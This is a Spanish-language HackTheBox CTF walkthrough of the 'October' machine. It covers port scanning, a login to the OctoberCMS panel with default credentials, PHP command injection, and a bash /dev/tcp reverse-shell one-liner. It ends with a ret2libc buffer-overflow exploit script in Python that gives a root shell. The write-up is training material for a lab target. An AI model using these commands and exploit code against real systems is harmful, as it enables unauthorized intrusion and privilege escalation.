Post

October | CTF Writeup - HackTheBox

October

Para empezar, haremos un primer escaneo con nmap para ver puertos y servicios corriendo en la máquina a atacar.

1
2
3
4
5
6
7
8
9
10
11
12
13
> nmap -sS -p- --open -T5 -vvv -Pn -n -oN scan.txt 10.10.10.16

Nmap scan report for 10.10.10.16
Host is up, received user-set (0.29s latency).
Scanned at 2024-03-19 01:40:49 -03 for 457s
Not shown: 65533 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
# Nmap done at Tue Mar 19 01:48:26 2024 -- 1 IP address (1 host up) scanned in 456.51 seconds

Luego de esto, sigue hacer un escaneo más exhaustivo, verificando las versiones de los servicios que corren en esos puertos. Esto lo haremos con los parámetros -sCV de nmap.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
> nmap -sCV -p22,80 -Pn -n -oN versions.txt 10.10.10.16

Nmap scan report for 10.10.10.16
Host is up (0.19s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 79:b1:35:b6:d1:25:12:a3:0c:b5:2e:36:9c:33:26:28 (DSA)
|   2048 16:08:68:51:d1:7b:07:5a:34:66:0d:4c:d0:25:56:f5 (RSA)
|   256 e3:97:a7:92:23:72:bf:1d:09:88:85:b6:6c:17:4e:85 (ECDSA)
|_  256 89:85:90:98:20:bf:03:5d:35:7f:4a:a9:e1:1b:65:31 (ED25519)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
| http-methods: 
|_  Potentially risky methods: PUT PATCH DELETE
|_http-title: October CMS - Vanilla
|_http-server-header: Apache/2.4.7 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Mar 19 01:49:33 2024 -- 1 IP address (1 host up) scanned in 19.38 seconds

Vemos que es un servidor HTTP el que corre por el puerto 80. Si nos metemos a la web veremos lo siguiente.

1.png

Haciendo una rápida enumeración con la herramienta gobuster, encontramos un directorio backend que podría llegar a ser crítico. Es un panel para este gestor de contenidos.

1
> gobuster dir -u http://10.10.10.16 --add-slash -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -x php,html

2.png

Efectivamente, es un panel de login para el CMS que en este caso sería October.

3.png

Si probamos credenciales por defecto, como por ejemplo, admin:admin, seremos capaces de entrar al panel.

4.png

Modificamos el archivo default.htm para inyectar nuestro código. Esto lo haremos utilizando la manera que nos da OctoberCMS para ejecutar código PHP. Para ver más, visitar este artículo.

5.png

Colocamos nuestra variable cmd en una etiqueta h1 dentro de la web.

6.png

Nos vamos a la página y ejecutamos cualquier comando. Por ejemplo, ejecutaremos el comando whoami.

7.png

Nos ponemos en escucha desde nuestro equipo con sudo nc -nlvp {nuestroPuerto}. Luego, en la URL, inyectaremos el comando bash -c 'bash -i >& /dev/tcp/{nuestraIp}/{nuestroPuerto} 0>&1'.

8.png

Ya estamos dentro! Ahora enumeramos el sistema buscando por archivos SUID que tengan como usuario root para poder escalar privilegios. Esto lo haremos con el comando find / -user root -perm -4000 2>/dev/null.

9.png

Vemos un archivo /usr/local/bin/ovrflw. Además está el /usr/bin/pkexec que se podría explotar con PwnKit, pero no es la finalidad de la máquina.

Intentamos leer funciones del binario ejecutable con el comando strace. Se está ejecutando una función vulnerable. En este caso, es la función write.

10.png

Sabemos que es vulnerable a un Buffer Overflow. Vamos a inspeccionar más a fondo el archivo pasándolo a nuestra máquina. Nos ponemos en escucha desde nuestro lado con nc -lp 5000 > ovrflw.

11.png

Antes de hacer algo, checkeamos si tiene el ASLR (Address space layout randomization) habilitado. Esto lo hacemos viendo el descriptor de archivo /proc/sys/kernel/randomize_va_space.

12.png

Como vale 2, esto quiere decir que está habilitado y las direcciones de memoria de los DLL y demás serán aleatorizadas. Además, si nos fijamos en el ejecutable con la herramienta gdb, tiene el bit NX flageado.

13.png

Esto marca una página de la memoria virtual del binario (una página tiene un tamaño de 4kb, generalmente) en donde sólo se puede leer datos, más no se pueden ejecutar. Por ende, cuando intentemos inyectar nuestro shellcode, este no se ejecutará porque este bit esta habilitado.

Para combatir esta prevención de ejecución, estaremos encarando el Buffer Overflow con el fin de llegar a hacer la técnica ret2libc: la misma consiste en reescribir el Instruction Pointer (EIP) para que apunte a la syscall system() de la librería libc, ejecutando lo que sea que queramos ejecutar. En este caso, como el binario es SUID y su propietario es root, queremos ganar una consola, por lo que queremos llegar a que se ejecute algo del estilo system("/bin/sh").

Para ello, se debe pasar al EIP la dirección de la función system, seguido de la dirección de retorno, mas la dirección del string "/bin/sh" que vive dentro de libc.

El EIP nos debería quedar de la siguiente forma: EIP = &system + &exit + ‘/bin/sh’, donde el & indica que es una dirección de memoria.

Primeramente, antes de ingeniar todo esto, calculemos el offset para llegar al EIP. Con la herramienta peda haremos un pattern create 300 y se lo pasaremos al programa.

14.png

Nos fijamos el offset del EIP con pattern offset $eip.

15.png

Ahora bien, teniendo esta información, debemos buscar la dirección en memoria de libc. Pero como se encuentra aleatorizada por el ASLR, tendremos que elegir una dirección de memoria en específico.

16.png

Con ldd podemos ver los DLLs utilizados por el binario. La dirección de memoria de libc en este caso es 0xb758d000, pero si ejecutamos otra vez el mismo comando, cambiará a otra dirección. Si ejecutamos varias veces, puede que aparezca la misma dirección más de una vez. Usaremos esto a nuestra ventaja para ejecutar el binario varias veces hasta que aparezca la dirección de memoria que hayamos elegido.

Nos fijamos la dirección de system y de exit.

17.png

Ahora buscamos la dirección de memoria del string “/bin/sh” en libc con strings.

18.png

Listo! tenemos 3 direcciones de memoria base (no aleatorizadas) para poder trabajar.

  • System(): 0x00040310
  • Exit(): 0x00033260
  • /bin/sh: 0x00162BAC

Ahora elegimos una de las direcciones aleatorizadas que haya salido cuando ejecutamos ldd ovrflw. Por ejemplo, elegimos la dirección 0xB75DF000. Ahora debemos sumarle a las 3 direcciones que encontramos, esta dirección que elegimos.

  • System() (Aleatorizado): 0x00040310 + 0xB75DF000
  • Exit() (Aleatorizado): 0x00033260 + 0xB75DF000
  • /bin/sh (Aleatorizado): 0x00162BAC + 0xB75DF000

Procedemos a hacer nuestro script en python para poder explotar este Buffer Overflow.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python3

from struct import pack
import subprocess

padding = b"A"*112
address_of_libc=0xb75df000
#Base addresses without randomization
exit_addr_off=0x00033260
system_addr_off=0x00040310
binsh_addr_off=0x00162bac

#Addresses with the randomization by adding the offset of libc
system_addr=pack("<I", system_addr_off + address_of_libc)
exit_addr=pack("<I", exit_addr_off + address_of_libc)
binsh_addr=pack("<I", binsh_addr_off + address_of_libc)

payload = padding + system_addr + exit_addr + binsh_addr

while True:
    output = subprocess.call(["/usr/local/bin/ovrflw", payload])

De esta manera, ganamos una /bin/sh como root.

19.png

This post is licensed under CC BY 4.0 by the author.